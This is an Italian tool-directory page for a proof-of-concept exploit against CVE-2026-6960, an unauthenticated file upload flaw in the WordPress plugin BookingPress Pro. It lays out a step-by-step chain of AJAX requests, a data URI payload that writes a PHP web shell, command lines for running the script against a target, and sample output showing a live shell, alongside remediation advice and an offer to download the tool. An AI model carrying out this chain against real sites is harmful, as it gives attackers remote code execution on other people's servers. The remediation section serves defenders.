Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-6960 — Exploit proof-of-concept per CVE-2026-6960: caricamento arbitrario di file non autenticato in BookingPress Pro ≤ 5.6. Automatizza una catena in 3 passaggi per caricare una web shell PHP tramite iniezione di data URI, ottenendo l'esecuzione remota di codice sui siti WordPress vulnerabili. | Kitploit
Strumenti/GitHubGitHub/xxconi/cve-2026-6960
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubxxconi/cve-2026-6960

CVE-2026-6960

Vedi Repository
14 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Exploit proof-of-concept per CVE-2026-6960: caricamento arbitrario di file non autenticato in BookingPress Pro ≤ 5.6. Automatizza una catena in 3 passaggi per caricare una web shell PHP tramite iniezione di data URI, ottenendo l'esecuzione remota di codice sui siti WordPress vulnerabili.

Condividi

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | Caricamento Arbitrario di File Non Autenticato

CVE CVSS CWE Auth Version Python

Ricerca di: Atomic Edge Gravità: Critica | CVSS: 9.8 | Autenticazione richiesta: Nessuna

⚠️ v2 — Correzioni tecniche applicate in base al feedback della community. Vedi Registro delle modifiche per i dettagli.


Panoramica

Nel plugin WordPress BookingPress Pro (versioni ≤ 5.6) esiste una vulnerabilità critica di caricamento arbitrario di file non autenticato. Il gestore di invio delle prenotazioni bookingpress_book_appointment_booking elabora il valore di un campo personalizzato di tipo firma come data URI. Il plugin estrae l'estensione del file dalla porzione del tipo MIME dell'URI tramite regex e la passa direttamente a file_put_contents() — senza alcuna allowlist o blocklist delle estensioni. Ciò consente a un attaccante di scrivere una web shell PHP in una directory accessibile via web e ottenere Esecuzione Remota di Codice (RCE).

PropertyDetail
PluginBookingPress Pro (bookingpress-appointment-booking-pro)
Versioni interessate≤ 5.6
Risolta in5.7
VettoreRete / Non autenticato
Azione AJAXbookingpress_book_appointment_booking
Causa principaleEstensione estratta dal tipo MIME controllato dall'attaccante nel data URI → file_put_contents() senza allowlist
CWECWE-434: Caricamento senza restrizioni di file con tipo pericoloso

Precondizioni

⚠️ Tutte le seguenti condizioni devono essere vere affinché il sito sia sfruttabile:

  • ✅ Un campo personalizzato di tipo firma deve essere configurato nel modulo di prenotazione di BookingPress dall'amministratore del sito
  • ✅ Deve esistere almeno un servizio attivo (per generare uno slot temporale valido)
  • ✅ Una pagina con il widget del modulo di prenotazione BookingPress deve essere pubblicamente accessibile

I siti che eseguono versioni ≤ 5.6 senza un campo personalizzato di firma configurato non sono sfruttabili tramite questo vettore.


Flusso dell'attacco

1. GET  /booking-page/
     └─ Extract _wpnonce from page source

2. POST /wp-admin/admin-ajax.php  action=bookingpress_fetch_timeslot_data
     └─ Obtain server-side timeslot transient key

3. POST /wp-admin/admin-ajax.php  action=bookingpress_pre_booking_verify_details
     └─ Obtain pre-booking verification token

4. POST /wp-admin/admin-ajax.php  action=bookingpress_book_appointment_booking
     └─ bookingpress_signature_field = "data:image/php;base64,<shell>"
     └─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)

5. GET  /wp-content/uploads/bookingpress/shell.php?cmd=id
     └─ RCE confirmed

Dettaglio della causa principale

Il percorso di codice vulnerabile elabora il valore del campo firma come un data URI:

data:image/{ext};base64,{base64_encoded_content}

BookingPress estrae {ext} dal tipo MIME tramite una corrispondenza regex, quindi scrive il contenuto decodificato su disco usando file_put_contents() con quell'estensione aggiunta al nome del file — nessun controllo tramite allowlist viene eseguito. Fornire image/php come tipo MIME comporta la scrittura di un file .php nella directory di upload.

Questo è fondamentalmente diverso da un upload di file multipart standard — il payload è incorporato in un campo del corpo JSON, non in una parte di upload di file.


Requisiti

pip install requests

Utilizzo

# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com

# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/

# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php

# Skip SSL verification
python3 poc.py -u https://target.com --no-verify

Argomenti

FlagDescrizioneDefault
-u, --urlURL WordPress di destinazione(obbligatorio)
-bp, --booking-pagePercorso della pagina contenente il modulo BookingPress/
-s, --service-idID del servizio BookingPress1
-f, --filenameNome del file della shell (estensione iniettata nel MIME del data URI)shell.php
--no-verifyDisabilita la verifica del certificato SSLfalse

Output di esempio

[!] PRECONDITION: This exploit requires a signature-type custom field
    to be configured in the BookingPress booking form by the site admin.

[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd

[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4

[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8

[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}

[✓] Shell is LIVE!
    Output of 'id': uid=33(www-data) gid=33(www-data)

[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>

Rimedio

  1. Valida il tipo MIME del data URI rispetto a una allowlist rigorosa (image/png, image/jpeg, image/svg+xml) prima di estrarre l'estensione
  2. Non derivare mai un'estensione di file da input controllato dall'attaccante — genera un nome file casuale con un'estensione sicura hardcoded
  3. Usa la funzione nativa di WordPress wp_check_filetype_and_ext() per tutta la validazione dei tipi di file
  4. Valuta di archiviare i file di firma fuori dalla web root per impedire l'esecuzione diretta

→ Aggiorna subito a BookingPress Pro 5.7.


Registro delle modifiche

v2 (2026-05-23) — Correzioni tecniche

#Problemav1 (errato)v2 (corretto)
1Azione AJAXbookingpress_validate_submitted_booking_formbookingpress_book_appointment_booking
2Metodo del payloadUpload di file multipart con image/pngData URI: data:image/{ext};base64,...
3Flusso di sfruttamentoPOST diretto non autenticatoCatena di prerequisiti in 3 passaggi (nonce → transient → token)
4PrecondizioneNon documentataIl campo personalizzato di firma deve essere configurato

Dichiarazione di non responsabilità

Scarica lo strumento